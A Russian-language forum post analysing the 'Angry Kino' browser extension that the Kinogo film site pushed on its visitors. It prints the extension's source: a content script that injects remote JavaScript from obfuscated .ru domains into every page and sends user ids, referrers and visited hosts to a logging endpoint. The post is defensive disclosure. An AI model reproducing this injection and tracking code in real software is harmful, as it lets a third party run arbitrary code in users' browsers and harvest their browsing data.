Браузерное расширение от сайта Kinogo

Тема в разделе "Пойманы за руку", создана пользователем Dragokas, 13 май 2015.

Метки:
  1. Dragokas
    Оффлайн

    Dragokas Very kind Developer Команда форума Супер-Модератор Разработчик Клуб переводчиков

    Сообщения:
    4.498
    Симпатии:
    4.313
    Продолжая тему обзора расширений, рассмотрим следующее.
    При входе на сайт Kinogo начал возникать баннер:

    [​IMG]


    Мне стало интересно что это за расширение и решил просмотреть код.

    Почему появилось расширение?

    Информация от создателей (скриншот группы vk, ниже будет продублировано текстом, не портите зрение):
    Всем привет! С недавних пор мы запустили на kinogo.co оповещение для посетителей, касающиеся установки наших плагинов (под Mozilla Firefox, Google Chrome, Яндекс Браузер и тд), направленных на обход возможной блокировки нашего проекта провайдерами РФ и граничащих с РФ странами. Мы подтверждаем, все плагины наши, и мы активно их поддерживаем.

    Единственный, плагин который у нас еще не готов под браузер Opera, ожидайте в скором будущем. Поддержки Internet Exploler не будет.

    Оповещение вылетает раз в сутки на сайте, если сегодня вы по какой-либо причине не установили расширение, у вас будет возможность завтра установить или отказаться, от него закрыв окошко.


    О расширении

    Стоит отметить, что расширений существует несколько (не меньше 3-х). У разных пользователей могут возникать разные ссылки на расширения. Те расширения, что мне попались, содержали идентичный код. Поэтому остановлюсь на этом.

    Название: Angry Racoon — уход от бана
    Дата последнего обновления: 5 Мая 2015.
    Версия: 1.0.3

    Обзор кода расширения

    Коротко опишу, только интересную цепочку:

    1. Разбор любого расширения начинается с manifest.json
    Код (Java):
    {
       "background": {
          "page": "html/background.html"
       },
       "content_scripts": [ {
          "js": [
             "core/frameworks/cajon.js",
             "core/frameworks/jquery.js",
             "core/process.js"
          ],
          "matches": [ "*://*/*" ],
          "run_at": "document_start"
       } ],
       "description": "Мы анализируем каждый сайт который вы посещаете и боремся за свободный Интернет!",
       "icons": {
          "128": "images/128.png",
          "16": "images/16.png",
          "48": "images/48.png"
       },
       "manifest_version": 2,
       "name": "Angry Kino - уход от бана",
       "permissions": [
          "webRequest",
          "webRequestBlocking",
          "webNavigation",
          "tabs",
          "\u003Call_urls>"
       ],
       "update_url": "https://clients2.google.com/service/update2/crx",
       "version": "1.0.3",
       "web_accessible_resources": [
          "images/_.png",
          "core/content.js",
          "core/contentSession.js",
          "core/messaging.js",
          "core/frameworks/uri.js",
          "core/backgroundHandlers.js",
          "core/backgroundSession.js",
          "core/backgroundUtils.js"
       ]
    }

    2. Из значения ключа «content_scripts» следует, что, кроме фреймворков, на КАЖДУЮ открытую пользователем страницу подключается файл process.js

    Код (Java):
    require.config({
      baseUrl:  chrome.extension.getURL('/')
    });


    require([
      "core/content"
    ], function() {
    });

    3. В process.js с помощью функции require подключается файл «content.js»

    Код (Java):
    define(function (require) {
        exports = {};

        (function () {
            var messageDispatcher = require('core/messaging').MessageDispatcher;

            messageDispatcher.sendToBackground(
                {
                    cmd: 'GetRequestUrl'
                }, function (url) {
                    if (url) {
                        url = url.replace(/^https?:/, '')
                                + '&r=' + encodeURIComponent(document.referrer)
                                + '&h=' + encodeURIComponent(document.location.host)
                                + '&rand=' + (new Date()).getTime();

                        if (document.head) {
                            $("head").append($("<script />", {
                                src: url
                            }));
                        } else {
                            var i = setInterval(function () {
                                if (document.head) {
                                    clearInterval(i);
                                    $("head").append($("<script />", {
                                        src: url
                                    }));
                                }
                            }, 100);
                        }
                    }
                });

            if (/^(.*\.)?kinogo\.(\w+)$/i.test(document.location.host)) {

                var i2 = setInterval(function () {
                    if (document.body) {
                        clearInterval(i2);
                        $("body").append($("<div>").addClass('KINOEXTESIONWASINSTALLED').hide());
                    }
                }, 100);
            }

        }).call(this);

        return exports;
    });


    4. В content.js интересен вызов функции messageDispatcher.sendToBackground из файла messaging.js

    Код (Java):
    define(function (require) {
        exports = {};

        (function () {

            var _handlers = {};

            function dispatcher(handlers, request, sender, sendResponse) {
                if (!request || !request.cmd || !(typeof request.cmd === 'string')) {
                    throw 'Error: Bad request!';
                }

                var handlerName = 'handle' + request.cmd;
                var handler = handlers[handlerName];
                if (!(typeof handler === 'function')) {
                    return;
                }

                handler(request.args, sender, sendResponse);
            }

            chrome.extension.onMessage.addListener(
                function (request, sender, sendResponse) {
                    dispatcher(_handlers, request, sender, sendResponse);
                }
            );

            exports.MessageDispatcher = {
           
                addHandlers: function(handlers) {
                    for(var name in handlers) {
                        _handlers[name] = handlers[name];
                    }
                },
           
                sendToBackground: function (request, callback) {

                    callback = callback || $.noop;
                    chrome.extension.sendMessage(request, callback);
                },
                sendToContentScript: function (tabId, request, callback) {

                    callback = callback || $.noop;
                    chrome.tabs.sendMessage(tabId, request, callback);
                }

            };

        }).call(this);

        return exports;
    });


    5. Данная функция является оберткой над Extensions API для удобного обмена сообщениями между фоновым скриптом и скриптами, вставленными на каждую страницу.

    6. Итак, функция messageDispatcher.sendToBackground запрашивает у фонового скрипта url.

    7. Поиск получения файла с кодом для отдачи url аналогичен пунктам выше, поэтому просто цепочка:

    manifest.json ==(key "background.page")==> background.html
    backround.html ==(script)==> demon.js
    demon.js ==(require)==> backround.js
    background.js ==(require)==> backgroundHandlers.js
    backgroundHandlers.js ==(require)==> backgroundUtils.js



    8. Рассмотрим backgroundUtils.js
    Код (Java):
    define(function (require) {
        exports = {};
        (function () {

            var Session = require('core/backgroundSession').Session;
            var ProxyGetter = require('core/proxy').ProxyGetter;


            exports = {
                getRequestUrl: function() {
                    if (ProxyGetter.serverIp) {
                        return (
                                ProxyGetter.serverIp + '/getscripts2?'
                                + this.getRequestParams()
                            );
                    }
                },
           
                getRequestParams: function() {
                    return ('&b=' + Session.buildId
                            + '&uid=' + Session.instanceId
                            + '&insd=' + Session.installDate
                            + '&sid='
                            + '&df='
                        );
                },
           
                sendNotify: function(from, to) {
                    if (ProxyGetter.serverIp) {
                        var url = (
                                ProxyGetter.serverIp + '/kinogo_log?'
                                + this.getRequestParams()
                                + '&from=' + encodeURIComponent(from)
                                + '&to=' + encodeURIComponent(to)
                            );
               
                        $.get(url);
                    }
                }
            };

        }).call(this);


        return exports;
    });

    9. Используя функцию getRequestUrl и файл с адресами proxy.js, расширение получает один из 4-х url (рандомно).

    Код (Text):
    'http://outrageous.ru',
    'http://thrilling.ru',
    'http://frightened.ru',
    'http://agitated.ru',
    Код (Java):
    define(function (require) {
        exports = {};

        (function () {
       
            /**
            * Bypass protection from Roskomnadzor
            */

            var reserveLinks = [
                'ht' + 'tp' + ':/' + '/outr' + 'ageous' + '.ru',
                'ht' + 'tp' + ':/' + '/thri' + 'lling' + '.ru',
                'ht' + 'tp' + ':/' + '/frig' + 'htened' + '.ru',
                'ht' + 'tp' + ':/' + '/agit' + 'ated' + '.ru',
            ];
       
            var ProxyGetter = {};
            ProxyGetter.serverIp = null;
       
            /**
             * Use proxy
             * @param {type} callback
             * @returns {undefined}
             */

            ProxyGetter.findServer = function (callback) {
                ProxyGetter.serverIp = null;
                if(reserveLinks.length > 0) {
                    ProxyGetter.serverIp = reserveLinks[parseInt(Math.random() * reserveLinks.length)];
                }
                callback();
            };
       
            exports.ProxyGetter = ProxyGetter;

        }).call(this);
        return exports;
    });

    10. Итак, на запрос клиентского скрипта, фоновый возвращает один из 4-х url. Вернемся к клиентскому скрипту и функции sendToBackground (пункт 6). А данная функция добавляет к url реферера для страницы и вставляет скрипт на страницу по полученному url.

    Самое интересное после прочтения кода — это подтверждение полученных умозаключений на практике:

    256da0b8361b4ff5968ea853e26eada7.png

    А теперь соберем все воедино:

    1. Довольно популярный сайт просит установить расширение.
    2. Расширение вставляет на каждую страницу пользователя произвольный скрипт, который может делать все, что угодно (упомяну словосочетания с прошлой статьи — онлайн-банкинг, пароли, сообщения, анонимность).
    3. Помимо скрипта, идет явная отправка информации о пользователе: посещенные страницы и рефереры для данных страниц.

    Выводы делайте сами.

    P.S. Ранее в статье содержалась фраза «Продолжая тему вредоносных расширений, рассмотрим следующее.». Она была сознательно убрана. Еще раз акцентирую внимание на том, что цель статьи — показать, какими функциями и возможностями обладает код данного расширения помимо заявленных.

    Источник.
     
    Последнее редактирование модератором: 13 май 2015
    ScriptMakeR, orderman, akok и 4 другим нравится это.

Поделиться этой страницей